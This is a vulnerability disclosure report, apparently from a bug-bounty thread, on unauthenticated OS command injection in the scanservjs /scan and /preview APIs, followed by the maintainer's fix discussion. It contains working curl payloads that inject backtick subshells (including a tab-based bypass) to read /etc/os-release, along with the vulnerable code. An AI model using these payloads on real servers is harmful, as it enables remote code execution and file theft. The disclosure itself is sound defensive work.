OS Command Injection via Type Confusion in Scan and Preview Parameters in sbs20/scanservjs
Reported on
Apr 23rd 2023
Description
Scanservjs has a RESTful API that provides endpoints for interacting with scanners using the SANE library. There are two APIs for scanning an image and generating a preview image that call out to Process.spawn, invoking a scanimage command as a subprocess of the server, and passing arguments from the API request body as arguments into the subprocess. Both APIs suffer from OS Command Injection via type confusion in several parameters in the POST body. While the business logic does sanitize string parameters from these API calls, it doesn't sufficiently prevent arrays of strings from being passed in several vulnerable POST body parameters. This allows an attacker to pass a JSON array with a single string parameter, buffeted by backticks, which gets formatted as a string and placed in the arguments for scanimage. This ultimately executes a subshell with an arbitrary command passed by the attacker, leading to remote code execution. While scanservjs has the option to enable HTTP Basic Auth, it is hidden in the config and there is no documentation on this feature, therefore this is a remote code execution without authentication by default.
Proof of Concept
POST /scan Proof of Concept
Request:
curl --request POST \
--url http://localhost:8080/scan \
--header 'Content-Type: application/json' \
--data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":["`cat /etc/os-release 1>&2`"],"width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed"},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'
Response:
{
"message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution `cat /etc/os-release 1>&2` -l 0 -t 0 -x 216 -y 297 --format tiff -o data/temp/~tmp-scan-0-0001.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 22.10\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.10\"\nVERSION=\"22.10 (Kinetic Kudu)\"\nVERSION_CODENAME=kinetic\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=kinetic\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
"code": -1
}
Proof of Concept
POST /preview Proof of Concept
Request:
curl --request POST \
--url http://localhost:8080/preview \
--header 'Content-Type: application/json' \
--data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":100,"width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed", "contrast": ["`cat /etc/os-release 1>&2`"]},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'
Response:
{
"message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution 100 -l 0 -t 0 -x 216 -y 297 --format tiff --contrast `cat /etc/os-release 1>&2` -o data/preview/preview.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 22.10\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.10\"\nVERSION=\"22.10 (Kinetic Kudu)\"\nVERSION_CODENAME=kinetic\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=kinetic\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
"code": -1
}
Impact
The vulnerability can execute any process on the server using a subshell, so the compromise of the system running scanservjs is almost complete. This vulnerability enables an attacker to dump the contents of any file on the server that the user, or the user's group, associated with the scanservjs process has permissions to read. Exfiltrating data can be done by using code execution in a subshell and redirecting output of a cat like command to stderr. An attacker can do more than query data using the subshell, and can run commands to write data to the server, and execute other processes outside the scope of scanservjs. In the default case, scanservjs is setup with a dedicated non root user so this user cannot read files, write files or execute commands as root. In the worst case, an administrator sets up scanservjs to run as a user with root permissions.
Occurrences
command-builder.js L18
The vulnerability occurs in the following code when the parameters passed from the API are formatted and sanitized. String parameters are sanitized and surrounded with single quotes but array type parameters, which can be passed to this function, are not sanitized or quoted. They are then formatted to a string when calling return `${value}`.
/**
* @param {string|number} [value]
* @returns {string}
*/
_format(value) {
if (typeof value === 'string') {
if (value.includes('\'')) {
throw Error('Argument must not contain single quote "\'"');
} else if (['$', ' ', '#', '\\', ';'].some(c => value.includes(c))) {
return `'${value}'`;
}
}
return `${value}`;
}
SECURITY.md
18 days ago
Updated method below
/**
* @param {string|number} [value]
* @returns {string}
*/
_format(value) {
switch (typeof value) {
case 'string':
if (value.includes('\'')) {
throw Error('Argument must not contain single quote "\'"');
} else if (['$', ' ', '#', '\\', ';'].some(c => value.includes(c))) {
return `'${value}'`;
}
case 'boolean':
case 'number':
return `${value}`;
default:
throw Error(`Invalid argument type: '${typeof value}'`)
}
}
I don't have any more time to commit or push tonight so will wait a couple of days anyway.
Thanks again.
I'm glad to be able to contribute to the project @sbs20! If I can make a suggestion, I would single quote all strings by default. I actually missed this on my first pass of the vulnerable code, but the updated code and previous implementation are vulnerable to command injection with a string using tabs for spaces surrounded by backticks. There are probably other permutations which will work, so I think it's safer to just quote all untrusted string inputs.
Request:
curl --request POST \
--url http://localhost:8080/scan \
--header 'Content-Type: application/json' \
--data '{"version":"2.26.1","params":{"deviceId":"pixma:MP620_10.64.0.25","resolution":"`cat\t/etc/os-release\t1>&2`","width":216,"height":297,"left":0,"top":0,"mode":"Color","source":"Flatbed"},"filters":[],"pipeline":"JPG | @:pipeline.high-quality","batch":"none","index":1}'
Response:
{
"message": "/usr/bin/scanimage -d pixma:MP620_10.64.0.25 --source Flatbed --mode Color --resolution `cat\t/etc/os-release\t1>&2` -l 0 -t 0 -x 216 -y 297 --format tiff -o ../server/data/temp/~tmp-scan-0-0001.tif exited with code: 1, stderr: PRETTY_NAME=\"Ubuntu 23.04\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"23.04\"\nVERSION=\"23.04 (Lunar Lobster)\"\nVERSION_CODENAME=lunar\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=lunar\nLOGO=ubuntu-logo\nscanimage: open of device pixma:MP620_10.64.0.25 failed: Invalid argument\n",
"code": -1
}
Thanks again for your insight - it's super helpful.
I really want to be able to keep simplified arguments for readability in logs - but I also need to allow redirects. So have opted for an allowlist (rather than blocklist) approach for [0-9a-z-=/~.:] and also added a new redirect(...) method.
I believe (hope?) that this is sufficient.
/**
* @param {string|number} [value]
* @returns {string}
*/
_format(value) {
if (['boolean', 'number'].includes(typeof value)) {
return `${value}`;
} else if ('string' === typeof value) {
if (value.includes('\'')) {
throw Error('Argument must not contain single quote "\'"');
} else if (!/^[0-9a-z-=/~.:]+$/i.test(value)) {
return `'${value}'`;
}
return `${value}`;
}
throw Error(`Invalid argument type: '${typeof value}'`);
}
/**
* @param {string} operator
* @returns {CmdBuilder}
*/
redirect(operator) {
if (typeof operator !== 'string' || !/^[&<>|]+$/.test(operator)) {
throw Error(`Invalid argument: '${operator}'`);
}
this.args.push(operator);
return this;
}
Apologies for taking advantage of your time and goodwill!
Thank you so much for your help.
I am hoping I fixed the issue with https://github.com/sbs20/scanservjs/pull/606
Thank you for the CVE! I think the issue is solved with the code you proposed. If I can think of any issues I'll let you know. Thank you for the effort you put into scanservjs.
